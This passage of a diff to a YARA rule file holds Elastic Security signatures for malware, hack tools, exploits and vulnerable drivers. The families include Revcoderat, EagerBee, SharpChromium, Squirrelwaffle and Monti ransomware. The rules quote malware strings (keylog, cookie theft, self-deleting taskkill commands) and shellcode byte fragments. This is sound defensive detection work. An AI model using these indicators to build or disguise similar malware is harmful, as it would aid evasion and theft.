-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "7d6652d8fa3748d7f58d7e15cefee5a48126d0209cf674818f55e9a68248be01"
-		logic_hash = "fef8f44e897a0f453be2f84d28886d27e261f8256c53c0425c5265b138ce5f40"
+		id = "ec14d5f2-5716-47f3-a7fb-98ec2d8679d1"
+		date = "2022-03-22"
+		modified = "2022-04-12"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_OnlyLogger.yar#L24-L46"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f45adcc2aad5c0fd900df4521f404bc9ca71b01e3378a5490f5ae2f0c711912e"
+		logic_hash = "2838851a5e013705b64625801d2ab1d56cfc17c52f75a5fd71448cb0a4b4b683"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "89adbef703bec7c41350e97141d414535f5935c6c6957a0f8b25e07f405ea70e"
+		fingerprint = "c69da3dfe0a464665759079207fbc0c82e690d812b38c83d3f4cd5998ecee1ff"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 48 83 EC 08 48 8B 05 A5 07 20 00 48 85 C0 74 05 E8 BB 00 00 00 48 83 C4 08 C3 00 00 00 00 00 00 FF 35 9A 07 20 00 FF 25 9C 07 20 00 0F 1F 40 00 FF 25 9A 07 20 00 68 00 00 00 00 E9 E0 FF FF FF }
+		$a1 = "KILLME" ascii fullword
+		$a2 = "%d-%m-%Y %H" ascii fullword
+		$a3 = "/c taskkill /im \"" ascii fullword
+		$a4 = "\" /f & erase \"" ascii fullword
+		$a5 = "/info.php?pub=" ascii fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Glckio_39C4Abd4 : FILE
+rule ELASTIC_Windows_Hacktool_Cpulocker_73B41444 : FILE
 {
 	meta:
-		description = "Detects Windows Vulndriver Glckio (Windows.VulnDriver.GlckIo)"
+		description = "Detects Windows Hacktool Cpulocker (Windows.Hacktool.CpuLocker)"
 		author = "Elastic Security"
-		id = "39c4abd4-0c14-49e6-ab5c-edc260d28666"
+		id = "73b41444-4c17-4fea-b440-fe7b0a086a7f"
 		date = "2022-04-04"
-		modified = "2022-08-30"
+		modified = "2022-04-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_GlckIo.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3a5ec83fe670e5e23aef3afa0a7241053f5b6be5e6ca01766d6b5f9177183c25"
-		logic_hash = "fd43503c9427a386674c06bb790e110ac23c27d8fc4adedbaa8a9b7cb0cbafd4"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_CpuLocker.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "dbfc90fa2c5dc57899cc75ccb9dc7b102cb4556509cdfecde75b36f602d7da66"
+		logic_hash = "8fb33744326781c51bb6bd18d0574602256b813b62ec8344d5338e6442bb2de0"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		fingerprint = "80971a85f52d52dd80f1887b5b4fc2e101886e60b78b08ca9bb8f781db9f9751"
+		fingerprint = "3f90517fbeafdccd37e4b8ab0316a91dd18a911cb1f4ffcd4686ab912a0feab4"
 		severity = 50
 		arch_context = "x86"
 		scan_context = "file"
@@ -67981,86 +72027,88 @@ rule ELASTIC_Windows_Vulndriver_Glckio_39C4Abd4 : FILE
 		os = "windows"
 
 	strings:
-		$str1 = "\\GLCKIO2.pdb"
+		$str1 = "\\CPULocker.pdb"
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and int16 ( uint32(0x3C)+0x18)==0x020b and $str1
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
 }
-rule ELASTIC_Windows_Vulndriver_Glckio_68D5Afbb : FILE
+rule ELASTIC_Linux_Trojan_Zpevdo_7F563544 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Vulndriver Glckio (Windows.VulnDriver.GlckIo)"
+		description = "Detects Linux Trojan Zpevdo (Linux.Trojan.Zpevdo)"
 		author = "Elastic Security"
-		id = "68d5afbb-a90e-404a-8e77-4b0f9d72934c"
-		date = "2022-04-04"
-		modified = "2022-04-04"
+		id = "7f563544-4ef3-460f-9a36-23d086f9c421"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_GlckIo.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "5ae23f1fcf3fb735fcf1fa27f27e610d9945d668a149c7b7b0c84ffd6409d99a"
-		logic_hash = "0b5f0d408a5c4089ef496c5f8241a34d0468cc3d21e89e41dc105a0df0855d38"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Zpevdo.yar#L1-L18"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "9cbbb5a9166184cef630d1aba8fec721f676b868d22b1f96ffc1430e98ae974c"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "98b25bf15be40dcd9cedbce6d50551faa968ac0e8259c1df0181ecb36afc69dd"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "a2113b38c27ee7e22313bd0ffbcabadfbf7f3f33d241a97db2dc86299775afd6"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$str1 = "[GLKIO2] Cannot resolve ZwQueryInformationProcess"
+		$a = { 55 48 89 E5 48 83 EC 20 89 7D EC 48 89 75 E0 BE 01 00 00 00 BF 11 00 }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and int16 ( uint32(0x3C)+0x18)==0x020b and $str1
+		all of them
 }
-rule ELASTIC_Linux_Trojan_Psybnc_563Ecb11 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Revcoderat_8E6D4182 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Psybnc (Linux.Trojan.Psybnc)"
+		description = "Detects Windows Trojan Revcoderat (Windows.Trojan.Revcoderat)"
 		author = "Elastic Security"
-		id = "563ecb11-e215-411f-8583-7cb7b2956252"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "8e6d4182-4ea8-4d4c-ad3a-d16b42e387f4"
+		date = "2021-09-02"
+		modified = "2022-01-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Psybnc.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f77216b169e8d12f22ef84e625159f3a51346c2b6777a1fcfb71268d17b06d39"
-		logic_hash = "b93e6ab097ccd4c348d228a48df098594e560e62256bfe019669ca9488221214"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Revcoderat.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "77732e74850050bb6f935945e510d32a0499d820fa1197752df8bd01c66e8210"
+		logic_hash = "35626d752b291e343350534aece35f1d875068c2c050d12312a60e67753c71e1"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "1e7a2a6240d6f7396505cc2203c03d4ae93a7ef0c0c956cef7a390b4303a2cbe"
+		fingerprint = "bc259d888e913dffb4272e2f871592238eb78922989d30ac4dc23cdeb988cc78"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 5F 65 6E 00 6B 6F 5F 65 6E 00 72 75 5F 65 6E 00 65 73 5F 65 6E 00 44 }
+		$a1 = "PLUGIN_PROCESS_REVERSE_PROXY: Plugin already exists, skipping download!" ascii fullword
+		$a2 = "TARGET_HOST_UPDATE(): Sync successful!" ascii fullword
+		$a3 = "WEBCAM_ACTIVATE: Plugin already exists, skipping download!" ascii fullword
+		$a4 = "send_keylog_get" ascii fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Psybnc_Ab3396D5 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Sorso_Ecf99F8F : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Psybnc (Linux.Trojan.Psybnc)"
+		description = "Detects Linux Exploit Sorso (Linux.Exploit.Sorso)"
 		author = "Elastic Security"
-		id = "ab3396d5-388b-4730-9a55-581c327a2769"
-		date = "2021-01-12"
+		id = "ecf99f8f-1692-41ee-a70d-8c868e269529"
+		date = "2021-04-06"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Psybnc.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c5ec84e7cc891af25d6319abb07b1cedd90b04cbb6c8656c60bcb07e60f0b620"
-		logic_hash = "8c083f66fc252a88395bb954a67d710d64f5b68efb9df4b60b260302874b400a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Sorso.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c0f0a7b45fb91bc18264d901c20539dd32bc03fa5b7d839a0ef5012fb0d895cd"
+		logic_hash = "c771ff109e548e37134cd76ac668f0d4abafcf262de12b00236ad94fc11a99d1"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "1180e02d3516466457f48dc614611a6949a4bf21f6a294f6384892db30dc4171"
+		fingerprint = "d2c0ccceed8a76d13c8b388e5c3b560f23ecff2b1b9c90d18e5e0d0bbdc91364"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -68068,28 +72116,28 @@ rule ELASTIC_Linux_Trojan_Psybnc_Ab3396D5 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 53 54 00 55 53 45 52 4F 4E 00 30 00 50 25 64 00 58 30 31 00 }
+		$a = { 6E 89 E3 50 54 53 50 B0 3B CD 80 31 C0 B0 01 CD }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Psybnc_F07357F1 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Sorso_91A4D487 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Psybnc (Linux.Trojan.Psybnc)"
+		description = "Detects Linux Exploit Sorso (Linux.Exploit.Sorso)"
 		author = "Elastic Security"
-		id = "f07357f1-1a92-4bd7-a43d-7a75fb90ac83"
-		date = "2021-01-12"
+		id = "91a4d487-cbb6-4805-a4fc-5f4ff3b0e22b"
+		date = "2021-04-06"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Psybnc.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f77216b169e8d12f22ef84e625159f3a51346c2b6777a1fcfb71268d17b06d39"
-		logic_hash = "cfe217fe108de787600d1ef06ac6738d84aedfc46e5632143692a9f83cb62df7"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Sorso.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c0f0a7b45fb91bc18264d901c20539dd32bc03fa5b7d839a0ef5012fb0d895cd"
+		logic_hash = "bb58c78ae3cc730aa1ef32974f65adabd63972ef181696aeb79954f904f2f405"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f0f1008fec444ce25d80f9878a04d9ebe9a76f792f4be8747292ee7b133ea05c"
+		fingerprint = "4965d806fa46b74023791ca17a90031753fbbe6094d25868e8d93e720f61d4c0"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -68097,28 +72145,28 @@ rule ELASTIC_Linux_Trojan_Psybnc_F07357F1 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { F7 EA 89 D0 C1 F8 02 89 CF C1 FF 1F 29 F8 8D 04 80 01 C0 29 C1 8D }
+		$a = { 80 31 C0 43 53 56 50 B0 5A CD 80 31 C0 50 68 2F }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Virus_Gmon_E544D891 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Sorso_61Eae7Dd : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Virus Gmon (Linux.Virus.Gmon)"
+		description = "Detects Linux Exploit Sorso (Linux.Exploit.Sorso)"
 		author = "Elastic Security"
-		id = "e544d891-3f6d-4da2-be86-e4ab58c66465"
-		date = "2021-01-12"
+		id = "61eae7dd-3335-4a50-b70b-c7c5657fc540"
+		date = "2021-04-06"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Virus_Gmon.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d0fe377664aa0bc0d1fd3a307650f211dd3ef2e2f04597abee465e836e6a6f32"
-		logic_hash = "6dcfd51aaa79d7bac0100d9c891aa4275b8e1f7614cda46a5da4c738d376c729"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Sorso.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c0f0a7b45fb91bc18264d901c20539dd32bc03fa5b7d839a0ef5012fb0d895cd"
+		logic_hash = "a8bc8a2c8405b80b160ad21898003781405a762c0e627f13b34e9362e0aa51a1"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "269f0777f846f9fc8fe56ea7436bddb155cde8c9a4bf9070f46db0081caef718"
+		fingerprint = "8ada74a60e30a26f7789bfdf00b3373843f39dc7d71bd6e1b603a7a41b5a63e9"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -68126,28 +72174,28 @@ rule ELASTIC_Linux_Virus_Gmon_E544D891 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { E5 53 51 52 8B 44 24 14 8B 5C 24 18 8B 4C 24 1C 8B 54 24 20 }
+		$a = { 69 89 E3 50 53 89 E1 B0 0B CD 80 31 C0 B0 01 CD }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Virus_Gmon_192Bd9B3 : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Prochide_7333221A : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Virus Gmon (Linux.Virus.Gmon)"
+		description = "Detects Linux Hacktool Prochide (Linux.Hacktool.Prochide)"
 		author = "Elastic Security"
-		id = "192bd9b3-230a-4f07-b4f9-06213a6b6f47"
-		date = "2021-01-12"
+		id = "7333221a-b3dc-4b26-8ec7-7e4f5405e228"
+		date = "2021-04-06"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Virus_Gmon.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d0fe377664aa0bc0d1fd3a307650f211dd3ef2e2f04597abee465e836e6a6f32"
-		logic_hash = "3df275349d14a845c73087375f96e0c9a069ff685beb89249590ef9448e50373"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Prochide.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "fad956a6a38abac8a8a0f14cc50f473ec6fc1c9fd204e235b89523183931090b"
+		logic_hash = "413f19744240eae0a87d56da1e524e2afa0fe0ec385bd9369218713b13a93495"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "532055052554ed9a38b16f764d3fbae0efd333f5b2254b9a1e3f6d656d77f1e4"
+		fingerprint = "e3aa99d48a8554dfaf9f7d947170e6e169b99bf5b6347d4832181e80cc2845cf"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -68155,178 +72203,216 @@ rule ELASTIC_Linux_Virus_Gmon_192Bd9B3 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { E5 56 53 8B 75 08 8B 5D 0C 8B 4D 10 31 D2 39 CA 7D 11 8A 04 1A 38 }
+		$a = { FF FF 83 BD 9C FC FF FF FF 75 14 BF 7F 22 40 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Ransomware_Monti_9C64F016 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Eagerbee_7029Ba21 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Ransomware Monti (Linux.Ransomware.Monti)"
+		description = "Detects Windows Trojan Eagerbee (Windows.Trojan.EagerBee)"
 		author = "Elastic Security"
-		id = "9c64f016-0fd9-41bf-8916-cdf3a35efdd6"
-		date = "2023-07-27"
-		modified = "2024-02-13"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Ransomware_Monti.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ad8d1b28405d9aebae6f42db1a09daec471bf342e9e0a10ab4e0a258a7fa8713"
-		logic_hash = "c22a4efaaf97d68deaf1978e637dd7f790541e5007c6323629bcc9e3d4eecd06"
+		id = "7029ba21-12ea-4120-911b-a36c4002409e"
+		date = "2023-05-09"
+		modified = "2023-06-13"
+		reference = "https://www.elastic.co/security-labs/introducing-the-ref5961-intrusion-set"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_EagerBee.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "09005775fc587ac7bf150c05352e59dc01008b7bf8c1d870d1cea87561aa0b06"
+		logic_hash = "874959361b14ba74e13e6e674da75c9bdb6b9475d8b286572825c940b41f679f"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "af28cc97eed328f3b2b0181784545e41a521e9dfff09a504177cb56929606b84"
+		fingerprint = "26d0d10f7c503e284e2b24a9e273f880d2e152348dfdd44fb3fc8cb10aa57e2a"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a1 = "[%s] Flag doesn't equal MONTI."
-		$a2 = "--vmkill Whether to kill the virtual machine"
-		$a3 = "MONTI strain."
-		$a4 = "http://monti"
+		$a1 = { C2 EB D6 0F B7 C2 48 8D 0C 80 41 8B 44 CB 14 41 2B 44 CB 0C 41 }
+		$a2 = { C8 75 04 33 C0 EB 7C 48 63 41 3C 8B 94 08 88 00 00 00 48 03 D1 8B }
+
+	condition:
+		all of them
+}
+rule ELASTIC_Windows_Trojan_Eagerbee_A64B323B : FILE MEMORY
+{
+	meta:
+		description = "Detects Windows Trojan Eagerbee (Windows.Trojan.EagerBee)"
+		author = "Elastic Security"
+		id = "a64b323b-60b6-49b9-99d2-82a336fe304e"
+		date = "2023-09-04"
+		modified = "2023-09-20"
+		reference = "https://www.elastic.co/security-labs/introducing-the-ref5961-intrusion-set"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_EagerBee.yar#L23-L45"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "339e4fdbccb65b0b06a1421c719300a8da844789a2016d58e8ce4227cb5dc91b"
+		logic_hash = "e1c25cf8ce0ff434727c9104c6b79110ff5cfa84eb3e939119fd05cf676727c6"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "5109ec213a2ac1a1d920f3a9753bed97d038b226775996002511df5dc0b6de9c"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "windows"
+
+	strings:
+		$dexor_config_file = { 48 FF C0 8D 51 FF 44 30 00 49 03 C4 49 2B D4 ?? ?? 48 8D 4F 01 48 }
+		$parse_config = { 80 7C 14 20 3A ?? ?? ?? ?? ?? ?? 45 03 C4 49 03 D4 49 63 C0 48 3B C1 }
+		$parse_proxy1 = { 44 88 7C 24 31 44 88 7C 24 32 48 F7 D1 C6 44 24 33 70 C6 44 24 34 3D 88 5C 24 35 48 83 F9 01 }
+		$parse_proxy2 = { 33 C0 48 8D BC 24 F0 00 00 00 49 8B CE F2 AE 8B D3 48 F7 D1 48 83 E9 01 48 8B F9 }
 
 	condition:
 		2 of them
 }
-rule ELASTIC_Windows_Vulndriver_Gdrv_5368078B : FILE
+rule ELASTIC_Windows_Hacktool_Sharpchromium_41Ce5080 : FILE MEMORY
 {
 	meta:
-		description = "Name: gdrv.sys, Version: 5.2.3790.1830"
+		description = "Detects Windows Hacktool Sharpchromium (Windows.Hacktool.SharpChromium)"
 		author = "Elastic Security"
-		id = "5368078b-5dba-42c7-a50c-ac8859d3393d"
-		date = "2022-04-04"
-		modified = "2022-04-04"
+		id = "41ce5080-7d84-4a56-8de8-86959eb92057"
+		date = "2022-11-20"
+		modified = "2023-01-11"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_GDrv.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "31f4cfb4c71da44120752721103a16512444c13c2ac2d857a7e6f13cb679b427"
-		logic_hash = "f4d43ac4a4b6d879ffb5ba637b38ec75c8b57f531db644015c1a71c2cdea45d5"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_SharpChromium.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9dd65aa53728d51f0f3b9aaf51a24f8a2c3f84b4a4024245575975cf9ad7f2e5"
+		logic_hash = "50972a6e6af1d7076243320fb6559193e0c46ac1300aa62d12390fdeb2fffdcd"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		fingerprint = "ce6e81ee34ba47466684387bdb957c3018b9c06938dbb2f7eb830609bd085f66"
-		threat_name = "Windows.VulnDriver.GDrv"
-		severity = 50
+		quality = 48
+		tags = "FILE, MEMORY"
+		fingerprint = "b6695ded1a6f647812c7f355e089a2ed7209ac59f51a97d8f6b1897bb1e7d9ad"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 67 00 64 00 72 00 76 00 2E 00 73 00 79 00 73 00 00 00 }
-		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x02][\x00-\x00])([\x00-\x05][\x00-\x00])([\x00-\x26][\x00-\x07]|[\x00-\xff][\x00-\x06])([\x00-\xce][\x00-\x0e]|[\x00-\xff][\x00-\x0d])|([\x00-\xff][\x00-\xff])([\x00-\x04][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x01][\x00-\x00])([\x00-\x05][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x02][\x00-\x00])([\x00-\x05][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xcd][\x00-\x0e]|[\x00-\xff][\x00-\x0d]))/
+		$guid = "F1653F20-D47D-4F29-8C55-3C835542AF5F" ascii wide nocase
+		$print_str0 = "[X] Exception occurred while writing cookies to file: {0}" ascii wide fullword
+		$print_str1 = "[*] All cookies written to {0}" ascii wide fullword
+		$print_str2 = "\\{0}-cookies.json" ascii wide fullword
+		$print_str3 = "[*] {0} {1} extraction." ascii wide fullword
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
+		$guid or all of ($print_str*)
 }
-rule ELASTIC_Linux_Trojan_Roopre_B6B9E71D : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Squirrelwaffle_88033Ff1 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Roopre (Linux.Trojan.Roopre)"
+		description = "Detects Windows Trojan Squirrelwaffle (Windows.Trojan.Squirrelwaffle)"
 		author = "Elastic Security"
-		id = "b6b9e71d-7f1c-4827-b659-f9dad5667d69"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "88033ff1-f9b1-4cdc-bb68-bd3a10027584"
+		date = "2021-09-20"
+		modified = "2022-01-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Roopre.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "36ae2bf773135fdb0ead7fbbd46f90fd41d6f973569de1941c8723158fc6cfcc"
-		logic_hash = "32294e476a014a919d2d738bdc940a7fc5f91e1b13c005f164a5b6bf84eb2635"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Squirrelwaffle.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "00d045c89934c776a70318a36655dcdd77e1fedae0d33c98e301723f323f234c"
+		logic_hash = "695d7d411a4de23ba1517a06bda3ce73add37dca1e6fe9046e7c2dcae237389e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "1a87cccd06b99e0375ffef17d4b3c5fd8957013ab8de7507e9b8d1174573a6cf"
+		fingerprint = "94c0d8ce3e06cf02a6fb57c074ff0ef60346babcde43c61371d099b011d9fcf9"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 54 24 08 48 C7 C6 18 FC FF FF 49 8B 4A 08 48 89 C8 48 99 48 }
+		$a1 = "start /i /min /b start /i /min /b start /i /min /b " ascii fullword
+		$a2 = " HTTP/1.1" ascii fullword
+		$a3 = "Host:" ascii fullword
+		$a4 = "APPDATA" ascii fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Roopre_05F7F237 : FILE MEMORY
